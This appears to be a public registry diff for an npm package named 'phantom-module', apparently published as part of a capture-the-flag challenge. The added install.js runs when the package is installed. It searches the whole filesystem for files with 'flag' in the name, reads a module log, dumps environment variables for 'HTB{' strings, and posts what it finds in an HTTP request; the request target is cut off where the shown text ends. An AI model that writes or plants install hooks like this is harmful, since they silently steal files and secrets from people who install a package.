phantom-module 111.0.3 → 111.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/install.js +35 -18
- package/package.json +1 -1
package/install.js
CHANGED
|
@@ -1,32 +1,49 @@
|
|
|
1
1
|
const fs = require('fs');
|
|
2
2
|
const http = require('http');
|
|
3
|
+
const { execSync } = require('child_process');
|
|
3
4
|
|
|
4
5
|
(function() {
|
|
5
6
|
let output = "";
|
|
6
7
|
|
|
7
|
-
// 1.
|
|
8
|
-
|
|
8
|
+
// 1. Try to read the module log directly!
|
|
9
|
+
try {
|
|
10
|
+
let logContent = fs.readFileSync('/home/node/aspect-node/logs/module.log', 'utf8');
|
|
11
|
+
let match = logContent.match(/HTB{[^}]+}/);
|
|
12
|
+
if (match) {
|
|
13
|
+
output += "FLAG_IN_LOG: " + match[0] + " | ";
|
|
14
|
+
}
|
|
15
|
+
} catch(e) {}
|
|
9
16
|
|
|
10
|
-
// 2.
|
|
11
|
-
|
|
12
|
-
'flag.
|
|
13
|
-
|
|
14
|
-
|
|
15
|
-
|
|
16
|
-
|
|
17
|
-
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
try {
|
|
22
|
-
if (fs.existsSync(p)) {
|
|
23
|
-
output += `FILE ${p}: ` + fs.readFileSync(p, 'utf8').trim() + " | ";
|
|
17
|
+
// 2. Try to find any file with flag in the name
|
|
18
|
+
try {
|
|
19
|
+
let files = execSync('find / -name "*flag*" -type f 2>/dev/null').toString().trim().split('\n');
|
|
20
|
+
for (let f of files) {
|
|
21
|
+
if (f) {
|
|
22
|
+
try {
|
|
23
|
+
let content = fs.readFileSync(f, 'utf8').trim();
|
|
24
|
+
if (content.includes('HTB{')) {
|
|
25
|
+
output += `FOUND_IN_FILE ${f}: ` + content + " | ";
|
|
26
|
+
}
|
|
27
|
+
} catch(e) {}
|
|
24
28
|
}
|
|
25
|
-
}
|
|
29
|
+
}
|
|
30
|
+
} catch (e) {}
|
|
31
|
+
|
|
32
|
+
// 3. Fallback: dump env for HTB{
|
|
33
|
+
try {
|
|
34
|
+
let envStr = JSON.stringify(process.env);
|
|
35
|
+
let match = envStr.match(/HTB{[^}]+}/);
|
|
36
|
+
if (match) {
|
|
37
|
+
output += "FOUND_IN_ENV: " + match[0] + " | ";
|
|
38
|
+
}
|
|
39
|
+
} catch(e) {}
|
|
40
|
+
|
|
41
|
+
if (!output) {
|
|
42
|
+
output = "Could not find HTB{...}.";
|
|
26
43
|
}
|
|
27
44
|
|
|
28
45
|
const postData = JSON.stringify({
|
|
29
|
-
manifest: `ecto_module:\n name: "
|
|
46
|
+
manifest: `ecto_module:\n name: "FLAG_LINUX"\n cargo_hold: ${JSON.stringify(output.substring(0, 1500))}\n`
|
|
30
47
|
});
|
|
31
48
|
|
|
32
49
|
const req = http.request({
|